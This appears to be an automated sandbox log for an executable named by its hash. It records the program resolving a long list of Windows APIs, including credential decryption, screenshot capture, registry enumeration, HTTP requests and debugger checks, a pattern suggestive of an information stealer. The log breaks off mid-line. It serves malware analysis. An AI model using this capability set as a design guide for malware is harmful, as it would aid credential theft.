InitializeSRWLock (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strncpy (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ??_V@YAXPAX@Z (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strtok (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter memchr (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strtok_s (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ??_U@YAPAXI@Z (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strcpy_s (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter vsprintf_s (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter memmove (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter strlen (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter memcmp (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ??2@YAPAXI@Z (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter memset (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter memcpy (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter __CxxFrameHandler3 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetStringTypeW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LCMapStringW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter IsValidCodePage (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter lstrcatA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter VirtualQueryEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetCPInfo (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter UnhandledExceptionFilter (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InterlockedIncrement (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InterlockedDecrement (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter OpenDesktopA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateDesktopA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CloseDesktop (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter atexit (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter OpenEventA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetUserDefaultLangID (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter VirtualAllocExNuma (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetComputerNameA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter lstrcpyA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SystemTimeToFileTime (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateDCA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CryptStringToBinaryA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter sscanf (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GlobalLock (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GlobalSize (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetLocalTime (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetSystemPowerStatus (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetVolumeInformationA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetWindowsDirectoryA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetLocaleInfoA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FindNextFileA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFileSizeEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FindFirstFileA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CopyFileA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformationEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter lstrcpynA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GlobalFree (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdipGetImageEncodersSize (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdipGetImageEncoders (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromHBITMAP (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdipSaveImageToStream (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GdipFree (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetHGlobalFromStream (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateStreamOnHGlobal (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter BCryptGenerateSymmetricKey (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter BCryptCloseAlgorithmProvider (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter BCryptDecrypt (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter BCryptSetProperty (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CloseWindow (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter wsprintfA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetKeyboardLayoutList (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CharToOemW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter wsprintfW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RegEnumKeyExA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RegEnumValueA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CryptBinaryToStringA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CryptUnprotectData (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter ShellExecuteExA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InternetOpenUrlA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InternetCrackUrlA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InternetSetOptionA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HttpQueryInfoA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter StrCmpCA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter StrStrA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter StrCmpCW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter PathMatchSpecA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetModuleFileNameExA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RmStartSession (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RmRegisterResources (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RmGetList (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter RmEndSession (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FlushFileBuffers (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FlushViewOfFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FormatMessageA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFullPathNameA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetSystemTimeAsFileTime (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapCompact (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapCreate (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapDestroy (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter HeapValidate (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter InterlockedCompareExchange (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LockFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter LockFileEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter OutputDebugStringA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter OutputDebugStringW (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter UnlockFile (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "GetProcAddress" with a parameter UnlockFileEx (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called 